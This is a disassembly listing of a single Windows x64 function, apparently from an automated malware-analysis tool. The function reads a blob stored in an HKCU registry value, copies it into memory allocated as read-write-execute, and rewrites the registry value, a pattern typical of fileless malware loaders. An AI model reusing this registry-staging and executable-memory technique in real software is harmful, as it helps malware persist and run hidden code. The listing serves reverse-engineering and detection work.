Function at 0x14000bf00
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xaf0
mov rax, qword [0x140037040]
xor rax, rsp
mov qword [rsp + 0xae0], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0xb08]
movzx eax, byte [rcx + rax]
cmp eax, 0xc9
jne 0x14000bf4a
jmp 0x14000c440
cmp dword [rsp + 0xb10], 0x65
jne 0x14000c2bc
mov dword [rsp + 0x48], 3
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1400324b8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000c09f
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x30]
cmp rax, 0xa44
jbe 0x14000c094
mov eax, dword [rsp + 0x30]
mov ecx, eax
call fcn.14000e5d4
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x30]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.140024ec0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000c094
mov r8d, 0xa44
mov rdx, qword [rsp + 0x50]
lea rcx, [0x14003adf0]
call fcn.140024820
movsxd rax, dword [0x14003aff8]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x14003ade0], rax
movsxd rax, dword [0x14003aff8]
mov rcx, qword [rsp + 0x50]
add rcx, 0xa44
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x14003ade0]
call fcn.140024820
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0xb08]
inc rax
lea rdx, [0x14003affc]
mov rcx, rax
call fcn.140017bb8
test eax, eax
je 0x14000c2aa
cmp qword [0x14003ade0], 0
je 0x14000c0eb
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x14003ade0]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x14003ade0], 0
mov dword [rsp + 0x90], 0
mov eax, 0x767b
mov word [rsp + 0x94], ax
mov eax, 0x5f55
mov word [rsp + 0x96], ax
mov eax, 0x6a21
mov word [rsp + 0x98], ax
mov eax, 0x5757
mov word [rsp + 0x9a], ax
mov eax, 0x2e
mov word [rsp + 0x9c], ax
mov eax, 0x64
mov word [rsp + 0x9e], ax
mov eax, WSASetLastError
mov word [rsp + 0xa0], ax
mov eax, WSASetLastError
mov word [rsp + 0xa2], ax
mov eax, 0x5f
mov word [rsp + 0xa4], ax
mov eax, 0x62
mov word [rsp + 0xa6], ax
mov eax, 0x69
mov word [rsp + 0xa8], ax
mov eax, WSASetLastError
mov word [rsp + 0xaa], ax
xor eax, eax
mov word [rsp + 0xac], ax
lea rax, [rsp + 0xae]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e6
rep stosb byte [rdi], al
mov dword [rsp + 0x294], 1
mov dword [rsp + 0x298], 0
lea rax, [rsp + 0x29c]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x300]
mov rdi, rax
xor eax, eax
mov ecx, 0x7d0
rep stosb byte [rdi], al
lea rax, [rsp + 0xad0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x34], 0xa45
mov eax, dword [rsp + 0x34]
mov ecx, eax
call fcn.14000e5d4
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov byte [rcx + rax], 5
mov eax, dword [rsp + 0x34]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x38]
inc rcx
mov r8d, eax
lea rdx, [rsp + 0x90]
call fcn.140024820
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xb00]
call fcn.140006650
cmp qword [rsp + 0x38], 0
je 0x14000c2a8
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x78], rax
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.14000e564
mov qword [rsp + 0x38], 0
jmp 0x14000c2b7
mov rcx, qword [rsp + 0xb00]
call fcn.14000bea0
jmp 0x14000c440
mov rax, qword [rsp + 0xb08]
inc rax
mov r8d, 0xa44
mov rdx, rax
lea rcx, [0x14003adf0]
call fcn.140024820
movsxd rax, dword [0x14003aff8]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x14003ade0], rax
movsxd rax, dword [0x14003aff8]
mov rcx, qword [rsp + 0xb08]
add rcx, 0xa45
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x14003ade0]
call fcn.140024820
movsxd rax, dword [0x14003aff8]
add rax, 0xa44
mov dword [rsp + 0x4c], eax
movsxd rax, dword [rsp + 0x4c]
mov rcx, rax
call fcn.14000e5d4
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14000c408
mov r8d, 0xa44
lea rdx, [0x14003adf0]
mov rcx, qword [rsp + 0x40]
call fcn.140024820
movsxd rax, dword [0x14003aff8]
mov rcx, qword [rsp + 0x40]
add rcx, 0xa44
mov r8, rax
mov rdx, qword [0x14003ade0]
call fcn.140024820
lea r8, [rsp + 0x60]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000c3fd
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0x40], 0
je 0x14000c433
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
call fcn.14000e564
mov qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0xb00]
call fcn.14000bea0
mov rcx, qword [rsp + 0xae0]
xor rcx, rsp
call fcn.14000e220
add rsp, 0xaf0
pop rdi
ret